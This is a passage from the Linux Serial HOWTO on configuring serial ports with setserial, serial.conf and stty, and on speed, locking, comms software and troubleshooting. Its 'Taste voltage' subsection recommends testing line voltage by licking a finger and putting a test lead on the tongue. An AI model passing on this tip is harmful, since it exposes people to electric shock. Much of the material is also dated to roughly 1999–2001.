To correct possible errors in IRQs (or for other reasons) there may be a file somewhere that runs setserial again. Unfortunately, if this file has some IRQs wrong, the kernel will still have incorrect info about the IRQs. This file should run early at boot-time before any process uses the serial port. In fact, your distribution may have set things up so that the setserial program runs automatically from a start-up script at boot-time. More info about how to handle this situation for your particular distribution might be found in file named "setserial..." or the like located in directory /usr/doc/ or /usr/share/doc/.

Before modifying a configuration file, you can test out a "proposed" setserial command by just typing it on the command line. In some cases the results of this use of setserial will automatically get saved in /etc/serial.conf when you shutdown. So if it worked OK (and solved your problem) then there's no need to modify any configuration file. See New configuration method using /etc/serial.conf.

Configuration Scripts/Files

Your objective is to modify (or create) a script file in the /etc tree that runs setserial at boot-time. Most distributions provide such a file (but it may not initially reside in the /etc tree). In addition, setserial 2.15 and higher often have an /etc/serial.conf file that is used by the above script so that you don't need to directly edit the script that runs setserial. In addition just using setserial on the command line (2.15+) may ultimately alter this configuration file.

So prior to version 2.15 all you do is edit a script. After 2.15 you may need to either do one of three things: 1. edit a script. 2. edit /etc/serial.conf or 3. run "setserial" on the command line which may result in /etc/serial.conf automatically being edited. Which one of these you need to do depends on both your particular distribution, and how you have set it up.

Edit a script (required prior to version 2.15)

Prior to setserial 2.15 (1999) there was no /etc/serial.conf file to configure setserial. Thus you need to find the file that runs "setserial" at boot time and edit it. If it doesn't exist, you need to create one (or place the commands in a file that runs early at boot-time). If such a file is currently being used it's likely somewhere in the /etc directory-tree. But Redhat <6.0 has supplied it in /usr/doc/setserial/ but you need to move it to the /etc tree before using it. You might use "locate" to try to find such a file. For example, you could type: locate "*serial*".

The script /etc/rc.d/rc.serial was commonly used in the past. The Debian distribution used /etc/rc.boot/0setserial. Another file once used was /etc/rc.d/rc.local but it's not a good idea to use this since it may not be run early enough. It's been reported that other processes may try to open the serial port before rc.local runs resulting in serial communication failure. Today it's most likely in /etc/init.d/ but it isn't normally intended to be edited.

If such a file is supplied, it should contain a number of commented-out examples. By uncommenting some of these and/or modifying them, you should be able to set things up correctly. Make sure that you are using a valid path for setserial, and a valid device name. You could do a test by executing this file manually (just type its name as the super-user) to see if it works right. Testing like this is a lot faster than doing repeated reboots to get it right.

For versions >= 2.15 (provided your distribution implemented the change, Redhat didn't) it may be more tricky to do since the file that runs setserial on startup, /etc/init.d/setserial or the like was not intended to be edited by the user. See New configuration method using /etc/serial.conf.

If you want setserial to automatically determine the uart and the IRQ for ttyS3 you would add something like:

/sbin/setserial  /dev/ttyS3 auto_irq skip_test autoconfig
Do this for every serial port you want to auto configure. Be sure to give a device name that really does exist on your machine. In some cases this will not work right due to the hardware. If you know what the uart and irq actually are, you may want to assign them explicitly with "setserial". For example:

/sbin/setserial /dev/ttyS3 irq 5 uart 16550A  skip_test

New configuration method using /etc/serial.conf

Prior to setserial version 2.15, the way to configure setserial was to manually edit the shell-script that ran setserial at boot-time. See Edit a script (after version 2.15: perhaps not). Starting with version 2.15 (1999) of setserial this shell-script is not edited but instead gets its data from a configuration file: /etc/serial.conf. Furthermore you may not even need to edit serial.conf because using the "setserial" command on the command line may automatically cause serial.conf to be edited appropriately.

This was intended so that you don't need to edit any file in order to set up (or change) what setserial does each time that Linux is booted. But there are serious pitfalls because it's not really "setserial" that edits serial.conf. Confusion is compounded because different distributions handle this differently. In addition, you may modify it so that it works differently.

What often happens is this: When you shut down your PC the script that runs "setserial" at boot-time is run again, but this time it only does what the part for the "stop" case says to do: It uses "setserial" to find out what the current state of "setserial" is, and it puts that info into the serial.conf file. Thus when you run "setserial" to change the serial.conf file, it doesn't get changed immediately but only when and if you shut down normally.

Now you can perhaps guess what problems might occur. Suppose you don't shut down normally (someone turns the power off, etc.) and the changes don't get saved. Suppose you experiment with "setserial" and forget to run it a final time to restore the original state (or make a mistake in restoring the original state). Then your "experimental" settings are saved.

If you manually edit serial.conf, then your editing is destroyed when you shut down because it gets changed back to the state of setserial at shutdown. There is a way to disable the changing of serial.conf at shutdown and that is to remove "###AUTOSAVE###" or the like from first line of serial.conf. In at least one distribution, the removal of "###AUTOSAVE###" from the first line is automatically done after the first time you shutdown just after installation. The serial.conf file should contain some comments to explain this.

The file most commonly used to run setserial at boot-time (in conformance with the configuration file) is now /etc/init.d/setserial (Debian) or /etc/init.d/serial (Redhat), or etc., but it should not normally be edited. For 2.15, Redhat 6.0 just had a file /usr/doc/setserial-2.15/rc.serial which you have to move to /etc/init.d/ if you want setserial to run at boot-time.

To disable a port, use setserial to set it to "uart none". The format of /etc/serial.conf appears to be just like that of the parameters placed after "setserial" on the command line with one line for each port. If you don't use autosave, you may edit /etc/serial.conf manually.

BUG: As of July 1999 there is a bug/problem since with ###AUTOSAVE### only the setserial parameters displayed by "setserial -Gg /dev/ttyS*" get saved but the other parameters don't get saved. Use the -a flag to "setserial" to see all parameters. This will only affect a small minority of users since the defaults for the parameters not saved are usually OK for most situations. It's been reported as a bug and may be fixed by now.

In order to force the current settings set by setserial to be saved to the configuration file (serial.conf) without shutting down, do what normally happens when you shutdown: Run the shell-script /etc/init.d/{set}serial stop. The "stop" command will save the current configuration but the serial ports still keep working OK.

In some cases you may wind up with both the old and new configuration methods installed but hopefully only one of them runs at boot-time. Debian labeled obsolete files with "...pre-2.15".

IRQs

By default, both ttyS0 and ttyS2 will share IRQ 4, while ttyS1 and ttyS3 share IRQ 3. But actually sharing serial interrupts (using them in running programs) is not permitted unless you: 1. have kernel 2.2 or better, and 2. you've complied in support for this, and 3. your serial hardware supports it. See

Interrupt sharing and Kernels 2.2+

If you only have two serial ports, ttyS0 and ttyS1, you're still OK since IRQ sharing conflicts don't exist for non-existent devices.

If you add an internal modem and retain ttyS0 and ttyS1, then you should attempt to find an unused IRQ and set it both on your serial port (or modem card) and then use setserial to assign it to your device driver. If IRQ 5 is not being used for a sound card, this may be one you can use for a modem. To set the IRQ in hardware you may need to use isapnp, a PnP BIOS, or patch Linux to make it PnP. To help you determine which spare IRQ's you might have, type "man setserial" and search for say: "IRQ 11".

Laptops: PCMCIA

If you have a Laptop, read PCMCIA-HOWTO for info on the serial configuration. For serial ports on the motherboard, setserial is used just like it is for a desktop. But for PCMCIA cards (such as a modem) it's a different story. The configuring of the PCMCIA system should automatically run setserial so you shouldn't need to run it. If you do run it (by a script file or by /etc/serial.conf) it might be different and cause trouble. The autosave feature for serial.conf shouldn't save anything for PCMCIA cards (but Debian did until 2.15-7). Of course, it's always OK to use setserial to find out how the driver is configured for PCMCIA cards.

10.4 Stty

Introduction

stty does much of the configuration of the serial port but since application programs (and the getty program) often handle it, you may not need to use it much. It's handy if you're having problems or want to see how the port is set up. Try typing ``stty -a'' at your terminal/console to see how it's now set. Also try typing it without the -a (all) for a short listing which shows how it's set different than normal. Don't try to learn all the setting unless you want to become a serial guru. Most of the defaults should work OK and some of the settings are needed only for certain obsolete dumb terminals made in the 1970's.

stty is documented in the man pages with a more detailed account in the info pages. Type "man stty" or "info stty".

Whereas setserial only deals with actual serial ports, stty is used both for serial ports and for virtual terminals such as the standard Linux text interface at a PC monitor. For the PC monitor, many of the stty settings are meaningless. Changing the baud rate, etc. doesn't appear to actually do anything.

Here are some of the items stty configures: speed (bits/sec), parity, bits/byte, # of stop bits, strip 8th bit?, modem control signals, flow control, break signal, end-of-line markers, change case, padding, beep if buffer overrun?, echo what you type to the screen, allow background tasks to write to terminal?, define special (control) characters (such as what key to press for interrupt). See the stty man or info page for more details. Also see the man page: termios which covers the same options set by stty but (as of mid 1999) covers features which the stty man page fails to mention.

With some implementations of getty (getty_ps package), the commands that one would normally give to stty are typed into a getty configuration file: /etc/gettydefs. Even without this configuration file, the getty command line may be sufficient to set things up so that you don't need stty.

One may write C programs which change the stty configuration, etc. Looking at some of the documentation for this may help one better understand the use of the stty command (and its many possible arguments). Serial-Programming-HOWTO is useful. The manual page: termios contains a description of the C-language structure (of type termios) which stores the stty configuration in computer memory. Many of the flag names in this C-structure are almost the same (and do the same thing) as the arguments to the stty command.

Flow control options

To set hardware flow control use "crtscts". For software flow control there are 3 settings: ixon, ixoff, and ixany.

ixany: Mainly for terminals. Hitting any key will restarts the flow after a flow-control stop. If you stop scrolling with the "stop scroll" key (or the like) then hitting any key will resume scrolling. It's seldom needed since hitting the "scroll lock" key again will do the same thing.

ixon: Enables the port to listen for Xoff and to stop transmitting when it gets an Xoff. Likewise, it will resume transmitting if it gets an Xon.

ixoff: enables the port to send the Xoff signal out the transmit line when its buffers in main memory are nearly full. It protects the device where the port is located from being overrun.

For a slow dumb terminal (or other slow device) connected to a fast PC, it's unlikely the the PC's port will be overrun. So you seldom actually need to enable ixoff. But it's often enabled "just in case".

Using stty at a "foreign" terminal

Using stty to configure the terminal that you are currently using is easy. Doing it for a different (foreign) terminal or serial port may be impossible. For example, let's say you are at the PC monitor (tty1) and want to use stty to deal with the serial port ttyS2. Prior to about 2000 you needed to use the redirection operator "<". After 2000 (provided your version of setserial is >= 1.17 and stty >= 2.0) there is a better method using the -F option. This will work when the old redirection method fails. Even with the latest versions be warned that if there is a terminal on ttyS2 and a shell is running on that terminal, then what you see will likely be deceptive and trying to set it will not work. See Two interfaces at a terminal to understand it.

The new method is ``stty -F /dev/ttyS2 ...'' (or --file instead of F). If ... is -a it displays all the stty settings. The old redirection method (which still works in later versions) is to type ``stty ... </dev/ttyS2''. If the new method works but the old one hangs, it implies that the port is hung due to a modem control line not being asserted. Thus the old method is still useful for troubleshooting. See the following subsection for details.

Old redirection method

Here's a problem with the old redirection operator (which doesn't happen if you use the newer -F option instead). Sometimes when trying to use stty, the command hangs and nothing happens (you don't get a prompt for a next command even after hitting <return>). This is likely due to the port being stuck because it's waiting for one of the modem control lines to be asserted. For example, unless you've set "clocal" to ignore modem control lines, then if no CD signal is asserted the port will not open and stty will not work for it (unless you use the newer -F option). A similar situation seems to exist for hardware flow control. If the cable for the port doesn't even have a conductor for the pin that needs to be asserted then there is no easy way to stop the hang.

One way to try to get out of the above hang is to use the newer -F option and set "clocal" and/or "crtscts" as needed. If you don't have the -F option then you may try to run some program (such a minicom) on the port that will force it to operate even if the control lines say not to. Then hopefully this program might set the port so it doesn't need the control signal in the future in order to open: clocal or -crtscts. To use "minicom" to do this you likely will have to reconfigure minicom and then exit it and restart it. Instead of all this bother, it may be simpler to just reboot the PC.

The old redirection method makes ttyS2 the standard input to stty. This gives the stty program a link to the "file" ttyS2 so that it may "read" it. But instead of reading the bytes sent to ttyS2 as one might expect, it uses the link to find the configuration settings of the port so that it may read or change them. Some people tried to use ``stty ... > /dev/ttyS2'' to set the terminal. This will not do it. Instead, it takes the message normal displayed by the stty command for the terminal you are on (say tty1) and sends this message to ttyS2. But it doesn't change any settings for ttyS2.

Two interfaces at a terminal

When using a shell (such as bash) with command-line-editing enabled there are two different terminal interfaces (what you see when you type stty -a). When you type in modern shells at the command line you have a temporary "raw" interface (or raw mode) where each character is read by the command-line-editor as you type it. Once you hit the <return> key, the command-line-editor is exited and the terminal interface is changed to the nominal "cooked" interface (cooked mode) for the terminal. This cooked mode lasts until the next prompt is sent to the terminal (which is only a small fraction of a second). Note that one never gets to type anything to this cooked mode but what was typed in raw mode gets executed while in cooked mode.

When a prompt is sent to the terminal, the terminal goes from "cooked" to "raw" mode (just like it does when you start an editor since you are starting the command-line editor). The settings for the "raw" mode are based only on the basic settings taken from the "cooked" mode. Raw mode keeps these setting but changes several other settings in order to change the mode to "raw". It is not at all based on the settings used in the previous "raw" mode. Thus if one uses stty to change settings for the raw mode, such settings will be permanently lost as soon as one hits the <return> key at the terminal that has supposedly been "set".

Now when one types stty to look at the terminal interface, one may either get a view of the cooked mode or the raw mode. You need to figure out which one you're looking at. It you use stty from another (foreign) terminal then you will see the raw mode settings. Any changes made will only be made to the raw mode and will be lost when someone presses <return> at the terminal you tried to "set". But if you type a stty command at your terminal (without the -F option or redirection) and then hit <return> it's a different story. The <return> puts the terminal in cooked mode. Your changes are saved and will still be there when the terminal goes back into raw mode (unless of course it's a setting not allowed in raw mode).

This situation can create problems. For example, suppose you corrupt your terminal interface. To restore it you go to another terminal and "stty -F dev/ttyS1 sane" (or the like). It will not work! Of course you can try to type "stty sane ..." at the terminal that is corrupted but you can't see what you typed. All the above not only applies to dumb terminals but to virtual terminals used on a PC Monitor as well as to the terminal windows in X. In other words, it applies to almost everyone who uses Linux.

Luckily, when you start up Linux, any file that runs stty at boot-time will likely deal with a terminal (or serial port with no terminal) that has no shell running on it so there's no problem for this special case.

Where to put the stty command ?

Should you need to have stty set up the serial interface each time the computer starts up then you need to put the stty command in a file that will be executed each time the computer is started up (Linux boots). It should be run before the serial port is used (including running getty on the port). There are many possible places to put it. If it gets put in more than one place and you only know about (or remember) one of those places, then a conflict is likely. So make sure to document what you do.

One place to put it would be in the same file that runs setserial when the system is booted. The location is distribution and version dependent. It would seem best to put it after the setserial command so that the low level stuff is done first. If you have directories in the /etc tree where every file in them is executed at boot-time (System V Init) then you could create a file named "stty" for this purpose.

10.5 What is isapnp ?

isapnp is a program to configure Plug-and-Play (PnP) devices on the ISA bus including internal modems. It comes in a package called "isapnptools" and includes another program, "pnpdump" which finds all your ISA PnP devices and shows you options for configuring them in a format which may be added to the PnP configuration file: /etc/isapnp.conf. The isapnp command may be put into a startup file so that it runs each time you start the computer and thus will configure ISA PnP devices. It is able to do this even if your BIOS doesn't support PnP. See Plug-and-Play-HOWTO.

10.6 What is slattach?

It's "serial line attach". It puts the serial line into a networking mode. You can thus network two computers together via a serial line using, for example, the slip protocol. But for the ppp protocol, you need to start pppd on the serial line.


Serial HOWTO: Speed (Flow Rate)

 Next Previous Contents

11. Speed (Flow Rate)

By "speed" we really mean the "data flow rate" but almost everybody incorrectly calls it speed. The speed is measured in bits/sec (or baud). Speed is set using the "stty" command or by a program which uses the serial port. See Stty

11.1 Can't Set a High Enough Speed

Speeds over 115.2k

The top speed of 115.2k has been standard since the mid 1990's. But by the year 2000, most new serial ports supported higher speeds of 230.4k and 460.8k. Some also support 921.6k. Unfortunately Linux seldom uses these speeds due to lack of drivers. Thus such ports behave just like 115.2k ports unless the higher speeds are enabled by special software. To get these speeds you need to compile the kernel with special patches but it seems that the 2.4 kernels are not yet supported

The patch software is fairly simple since it only needs to enable the higher speeds by dialog with the hardware. But it's not quite as simple as just putting an enable byte in a hardware register since the registers weren't designed for this. But unfortunately, there is no standard way to enable the higher speeds so the serial driver needs to support a variety of hardware.

A patch to support high-speed is called shsmod (Super High Speed Mode). There are both Windows and Linux versions of this patch. See http://www.devdrv.com/shsmod/. For Linux (as of late 2001), most of the documentation is only in Japanese and the patch is for the old kernel 2.2.x. There is also a module for the VIA VT82C686 chip http://www.kati.fi/viahss/. Using it may result in buffer overflow.

For internal modems, only a minority of them advertise that they support speeds of over 115.2k for their built-in serial ports. Does shsmod support these ??

How speed is set in hardware: the divisor and baud_base

Speed is set by having the serial port's clock change frequency. But this change happens not by acutally changing the frequency of the oscillator driving the clock but by "dividing" the clock's frequency. For example, to divide by two, just ignore every other clock tick. This cuts the speed in half. Dividing by 3 makes the clock run at 1/3 frequency, etc. So to slow the clock down (meaning set speed), we just send the clock a divisor. It's sent by the serial driver to a register in the port. Thus speed is set by a divisor.

If the clock runs at a top speed of 115,000 bps (common), then here are the divisors for various speeds (assuming a maximum speed of 115,200): 1 (115.2k), 2 (57.6k), 3 (38.4k), 6 (19.2k), 12 (9.6k), 24 (4.8k), 48 (2.4k), 96 (1.2k), etc. The serial driver sets the speed in the hardware by sending the hardware only a "divisor" (a positive integer). This "divisor" divides the "maximum speed" of the hardware resulting in a slower speed (except a divisor of 1 obviously tells the hardware to run at maximum speed).

There are exceptions to the above since for certain serial port hardware, speeds above 115.2k are set by using a very high divisor. Keep that exception in mind as you read the rest of this section. Normally, if you specify a speed of 115.2k (in your communication program or by stty) then the serial driver sets the port hardware to divisor 1 which sets the highest speed.

Besides using a very high divisor to set high speed the conventional way to do it is as follows: If you happen to have hardware with a maximum speed of say 230.4k (and the 230.4k speed has been enabled), then specifying 115.2k will result in divisor 1. For some hardware this will actually give you 230.4k. This is double the speed that you set. In fact, for any speed you set, the actual speed will be double. If you had hardware that could run at 460.8k then the actual speed would be quadruple what you set. All the above assumes that you don't use "setserial" to modify things.

Setting the divisor, speed accounting

To correct this accounting (but not always fix the problem) you may use "setserial" to change the baud_base to the actual maximal speed of your port such as 230.4k. Then if you set the speed (by your application or by stty) to 230.4k, a divisor of 1 will be used and you'll get the same speed as you set.

If you have old software which will not permit such a high speed (but your hardware has it enabled) then you might want to look into using the "spd_cust" parameter for setserial with "divisor 1". Then when you tell the application that the speed it 38,400, it will use divisor 1 and get the highest speed.

There are some brands of UARTs that uses a very high divisor to set high speeds. There isn't any satisfactory way to use "setserial" (say set "divisor 32770") to get such a speed since then setserial would then think that the speed is very low and disable the FIFO in the UART.

Crystal frequency is higher than baud_base

Note that the baud_base setting is usually much lower than the frequency of the crystal oscillator since the crystal frequency of say 1.8432 MHz is divided by 16 in the hardware to get the actual top speed of 115.2k. The reason the crystal frequency needs to be higher is so that this high crystal speed can generate clock ticks to take a number of samples of each bit to determine if it's a 1 or a 0.

Actually, the 1.8432 MHz "crystal frequency" is obtained from a 18.432 MHz crystal oscillator by dividing by 10 before being fed to the UART. Other schemes are also possible as long as the UART performs properly.

11.2 Higher Serial Throughput

If you are seeing slow throughput and serial port overruns on a system with (E)IDE disk drives, you can get hdparm. This is a utility that can modify (E)IDE parameters, including unmasking other IRQs during a disk IRQ. This will improve responsiveness and will help eliminate overruns. Be sure to read the man page very carefully, since some drive/controller combinations don't like this and may corrupt the filesystem.

Also have a look at a utility called irqtune that will change the IRQ priority of a device, for example the serial port that your modem is on. This may improve the serial throughput on your system. The irqtune FAQ is at http://www.best.com/~cae/irqtune


Serial HOWTO: Locking Out Others

 Next Previous Contents

12. Locking Out Others

12.1 Introduction

When you are using a serial port, you may want to prevent others from using it at the same time. However there may be cases where you do want others to use it, such as sending you an important message if you are using a text-terminal.

There are various ways of preventing others (or other processes) from using your serial port when you are using it (locking). This should all happen automatically but it's important to know about this if it gives you trouble. If a program is abnormally exited or the PC is abruptly turned off (by pulling the plug, etc.) your serial port might wind up locked. Even if the lock remains, it's usually automatically removed when you want to use the serial port again. But in rare cases it isn't. That's when you need to understand what happened.

One way to implement locking is to design the kernel to handle it but Linux thus far has shunned this solution (with an exception involving the cua device which is now obsolete). Two solutions used by Linux is to:

  1. create lock-files
  2. modify the permissions and/or owners of devices such as /dev/ttyS2

12.2 Lock-Files

If you use the new device-filesystem (devfs) then see the next section. A lock-file is simply a file created to mean that a particular device is in use. They are kept in /var/lock. Formerly they were in /usr/spool/uucp. Linux lock-files are usually named LCK..name, where name may be a device name, a process id number, a device's major and minor numbers, or a UUCP site name. Most processes (an exception is getty) create these locks so that they can have exclusive access to devices. For instance if you dial out on your modem, some lockfiles will appear to tell other processes that someone else is using the modem. In older versions (in the 1990s) there was usually only one lockfile per process. Lock files contain the PID of the process that has locked the device. Note that if a process insists on using a device that is locked, it may ignore the lockfile and use the device anyway. This is useful in sending a message to a text-terminal, etc.

When a program wants to use a serial port but finds it locked with lock-files it should check to see if the lock-file's PID is still in use. If it's not it means that the lock is stale and it's OK to go ahead and use the port anyway (after removing the stale lock-files). Unfortunately, there may be some programs that don't do this and give up by telling you that a device is already in use when it really isn't.

When there were only lockfiles with device names, the following problem could arise: If the same device has two different names then two different processes could each use a different name for the same device. This results in lockfiles with different names that actually are the same device. Formerly each physical serial port was known by two different device names: ttyS0 and cua0. To solve this lockfile alias problem, 3 methods have been used. It may be overkill since any one of these methods would have fixed the problem.

  1. The lock checking software was made aware of ttyS vs. cua.
  2. The device cua was deprecated
  3. Additional locks were created which use unique device numbers instead of names.

Using alternate names such as /dev/modem for /dev/ttyS2 may cause problems with older versions. For dumb terminals, lockfiles are not used since this would not permit someone else to send a message to your terminal using the write or talk program.

12.3 Lock-Files and devfs Problems

The new device-filesystem (devfs) has the /dev directory with subdirectories. As of late 2001, there were problems with lockfiles. For example, the lockfile mechanism considers /dev/usb/tts/0 and /dev/tts/0 to be the same device with name "0". Ditto for all other devices that have the same "leaf" name.

Also, if some applications use the old name for a device and other applications use the new name (devfs) for the same device, then the lockfiles will have different names. But the serial driver should know they are the same.

12.4 Change Owners, Groups, and/or Permissions of Device Files

In order to use a device, you (or the program you run if you have "set user id") needs to have permission to read and write the device "file" in the /dev directory. So a logical way to prevent others from using a device is to make yourself the temporary owner of the device and set permissions so that no one else can use it. A program may do this for you. A similar method can be used with the group of the device file.

While lock files prevent other process from using the device, changing device file owners/permissions restricts other users (or the group) from using it. One case is where the group is permitted to write to the port, but not to read from it. Writing to the port might just mean a message sent to a text-terminal while reading means destructive reading. The original process that needs to read the data may find data missing if another process has already read that data. Thus a read can do more harm that a write since a read causes loss of data while a write only adds extra data. That's a reason to allow writes but not reads. This is exactly the opposite of the case for ordinary files where you allow others to read the file but not write (modify) it. Use of a port normally requires both read and write permissions.

A program that changes the device file attributes should undo these changes when it exits. But if the exit is abnormal, then a device file may be left in such a condition that it gives the error "permission denied" when one attempts to use it again.


Serial HOWTO: Communications Programs And Utilities

 Next Previous Contents

13. Communications Programs And Utilities

13.1 List of Software

Here is a list of some communication software you can choose from, available via FTP, if they didn't come with your distribution.

  • ecu - a communications program
  • C-Kermit - portable, scriptable, serial and TCP/IP communications including file transfer, character-set translation, and zmodem support
  • gkermit Tiny GPLed kermit run only from the command line. Can't connect to another computer
  • minicom - telix-like communications program
  • seyon - X based communication program
  • xc - xcomm communication package
  • term and SLiRP offer TCP/IP functionality using a shell account.
  • screen is another multi-session program. This one behaves like the virtual consoles.
  • callback is where you dial out to a remote modem and then that modem hangs up and calls you back (to save on phone bills).
  • mgetty+fax handles FAX stuff, and provides an alternate ps_getty.
  • ZyXEL is a control program for ZyXEL U-1496 modems. It handles dialin, dialout, dial back security, FAXing, and voice mailbox functions.
  • SLIP and PPP software can be found at ftp://metalab.unc.edu/pub/Linux/system/network/serial.

13.2 kermit and zmodem

For use of kermit with modems see the Modem-HOWTO. One can run zmodem within the kermit program. To do this (for ttyS3), add the following to your .kermrc file:

define rz !rz < /dev/ttyS3 > /dev/ttyS3
define sz !sz \%0 > /dev/ttyS3 < /dev/ttyS3
Be sure to put in the correct port your modem is on. Then, to use it, just type rz or sz <filename> at the kermit prompt.


Serial HOWTO: Serial Tips And Miscellany

 Next Previous Contents

14. Serial Tips And Miscellany

14.1 Serial Module

Often the serial driver is provided as a module. Parameters may be supplied to certain modules in /etc/modules.conf. Since kernel 2.2 you don't edit this file but use the program update-modules to change it. The info that is used to update modules.conf is put in /etc/modutils/. The Debian/GNU Linux has a file here named /etc/modutils/setserial which runs the serial script in /etc/init.d/ every time the serial module is loaded or unloaded. When the serial module is unloaded this script will save the state of the module in /var/run/setserial.conf. Then if the module loads again this saved state is restored. When the serial module first loads at boot-time, there's nothing in /var/run/setserial.conf so the state is obtained from /etc/serial.conf. So there are two files that save the state. Other distributions may do something similar.

One may modify the serial driver by editing the source code. Much of the serial driver is found in the file serial.c. For info regarding writing of programs for the serial port see Serial-Programming-HOWTO. It was revised in 1999 by Vern Hoxie but it's not at LDP. Get it from scicom.alphacdc.com/pub/linux

14.2 Serial Console (console on the serial port)

See the kernel documentation in: Documentation/serial-console.txt. Kernel 2.4+ has better documentation. See also "Serial Console" in Text-Terminal-HOWTO.

14.3 Line Drivers

For a text terminal, the EIA-232 speeds are fast enough but the usable cable length is often too short. Balanced technology could fix this. The common method of obtaining balanced communication with a text terminal is to install 2@ line drivers in the serial line to convert unbalanced to balanced (and conversely). They are a specialty item and are expensive if purchased new.

14.4 Stopping the Data Flow when Printing, etc.

Normally flow control and/or application programs stop the flow of bytes when its needed. But sometimes they don't. One example is printing to printer on the serial port. If you want to instantly stop printing you may try turning off the printer. With older versions of the serial driver, the printer would attempt to resume printing if you turned the printer back on again (before the time specified by closing_wait of setserial had expired). The attempt to resume would happen even if you used a command to stop the printing. The problem was that once the printer software sent bytes to the large serial buffer to be printed, these bytes were not removed from this buffer when the print job was canceled. One way to remove them (for newer serial drivers) is to simply turn off the printer. This will drop all modem control signals from the printer and empty the buffer. Modern printers have large buffers and often a button on the printer to empty the buffer.

14.5 Known Defective Hardware

Avoiding IO Address Conflicts with Certain Video Boards

The IO address of the IBM 8514 video board (and others) is allegedly 0x?2e8 where ? is 2, 4, 8, or 9. This may conflict (but shouldn't if the serial port is well designed) with the IO address of ttyS3 at 0x02e8 if the serial port ignores the leading 0 hex digit when it decodes the address (many do). That is bad news if you try to use ttyS3 at this IO address. Another story is that Linux will not detect your internal modem on ttyS3 but that you can use setserial to put ttyS3 at this address and the modem will work fine.

Problem with AMD Elan SC400 CPU (PC-on-a-chip)

This has a race condition between an interrupt and a status register of the UART. An interrupt is issued when the UART transmitter finishes the transmission of a byte and the UART transmit buffer becomes empty (waiting for the next byte). But a status register of the UART doesn't get updated fast enough to reflect this. As a result, the interrupt service routine rapidly checks and determines (erroneously) that nothing has happened. Thus no byte is sent to the port to be transmitted and the UART transmitter waits in vain for a byte that never arrives. If the interrupt service routine had waited just a bit longer before checking the status register, then it would have been updated to reflect the true state and all would be OK.

There is a proposal to fix this by patching the serial driver. But Should linux be patched to accommodate defective hardware, especially if this patch may impair performance of good hardware?


Serial HOWTO: Troubleshooting

 Next Previous Contents

15. Troubleshooting

See Modem-HOWTO for troubleshooting related to modems or getty for modems. For a Text-Terminal much of the info here will be of value as well as the troubleshooting info in Text-Terminal-HOWTO.

15.1 Serial Electrical Test Equipment

Breakout Gadgets, etc.

While a multimeter (used as a voltmeter) may be all that you need for just a few serial ports, simple special test equipment has been made for testing serial port lines. Some are called "breakout ... " where breakout means to break out conductors from a cable. These gadgets have a couple of connectors which connect to serial port connectors (either at the ends of serial cables or at the back of a PC). Some have test points for connecting a voltmeter. Others have LED lamps which light when certain modem control lines are asserted (turned on). The color of the light may indicate the polarity of the signal (positive or negative voltage). Still others have jumpers so that you can connect any wire to any wire. Some have switches.

Radio Shack sells (in 2001) a "RS-232 Troubleshooter" (formerly called "RS-232 Line Tester") Cat. #276-1401. It checks TD, RD, CD, RTS, CTS, DTR, and DSR. A green light means on (+12 v) while red means off (-12 v). They also sell a "RS-232 Serial Jumper Box" Cat. #276-1403. This permits connecting the pins anyway you choose. Both these items are under the heading of "Peripheral hookup helpers". Unfortunately, they are not listed in the index to the printed catalog. They are on the same page as the D type connecters so look in the index under "Wire & Cable, Connectors. Or look under "Tools, D-Sub Connection Pin ...". A store chain named "Active Component

Measuring voltages

Any voltmeter or multimeter, even the cheapest that sells for about $10, should work fine. Trying to use other methods for checking voltage is tricky. Don't use a LED unless it has a series resistor to reduce the voltage across the LED. A 470 ohm resistor is used for a 20 ma LED (but not all LED's are 20 ma). The LED will only light for a certain polarity so you may test for + or - voltages. Does anyone make such a gadget for automotive circuit testing?? Logic probes may be damaged if you try to use them since the TTL voltages for which they are designed are only 5 volts. Trying to use a 12 V incandescent light bulb is not a good idea. It won't show polarity and due to limited output current of the UART it probably will not even light up.

To measure voltage on a female connector you may plug in a bent paper clip into the desired opening. The paper clip's diameter should be no larger than the pins so that it doesn't damage the contact. Clip an alligator clip (or the like) to the paper clip to connect up. Take care not to touch two pins at the same time with any metal object.

Taste voltage

As a last resort, if you have no test equipment and are willing to risk getting shocked (or even electrocuted) you can always taste the voltage. Before touching one of the test leads with your tongue, test them to make sure that there is no high voltage on them. Touch both leads (at the same time) to one hand to see if they shock you. Then if no shock, wet the skin contact points by licking and repeat. If this test gives you a shock, you certainly don't want to use your tongue.

For the test for 12 V, Lick a finger and hold one test lead in it. Put the other test lead on your tongue. If the lead on your tongue is positive, there will be a noticeable taste. You might try this with flashlight batteries first so you will know what taste to expect.

15.2 Serial Monitoring/Diagnostics

A few Linux programs will monitor the modem control lines and indicate if they are positive (1) or negative (0). See section Serial Monitoring/Diagnostics

15.3 (The following subsections are in both the Serial and Modem HOWTOs)

15.4 My Serial Port is Physically There but Can't be Found

If a physical device (such as a modem) doesn't work at all it may mean that the device is not at the I/O address that setserial thinks it's at. It could also mean (for a PnP card) that is doesn't yet have an address. Thus it can't be found.

Check the BIOS menus and BIOS messages. For the PCI bus use lspci or scanpci. If it's an ISA bus PnP serial port, try "pnpdump --dumpregs" and/or see Plug-and-Play-HOWTO. Using "scanport" will scan all ISA bus ports and may discover an unknown port that could be a serial port (but it doesn't probe the port). It could hang your PC. You may try probing with setserial. See Probing. If nothing seems to get thru the port it may be accessible but have a bad interrupt. See Extremely Slow: Text appears on the screen slowly after long delays. Use setserial -g to see what the serial driver thinks and check for IRQ and I0 address conflicts. Even if you see no conflicts the driver may have incorrect information (view it by "setserial" and conflicts may still exist.

If two ports have the same IO address then probing it will erroneously indicate only one port. Plug-and-play detection will find both ports so this should only be a problem if at least one port is not plug-and-play. All sorts of errors may be reported/observed for devices illegally "sharing" a port but the fact that there are two devices on the same a port doesn't seem to get detected (except hopefully by you). In the above case, if the IRQs are different then probing for IRQs with setserial might "detect" this situation by failing to detect any IRQ. See Probing.

15.5 Extremely Slow: Text appears on the screen slowly after long delays

It's likely mis-set/conflicting interrupts. Here are some of the symptoms which will happen the first time you try to use a modem, terminal, or serial printer. In some cases you type something but nothing appears on the screen until many seconds later. Only the last character typed may show up. It may be just an invisible <return> character so all you notice is that the cursor jumps down one line. In other cases where a lot of data should appear on the screen, only a batch of about 16 characters appear. Then there is a long wait of many seconds for the next batch of characters. You might also get "input overrun" error messages (or find them in logs).

For more details on the symptoms and why this happens see

Interrupt Problem Details and/or Interrupt Conflicts and/or Mis-set Interrupts. If it involves Plug-and-Play devices, see also Plug-and-Play-HOWTO.

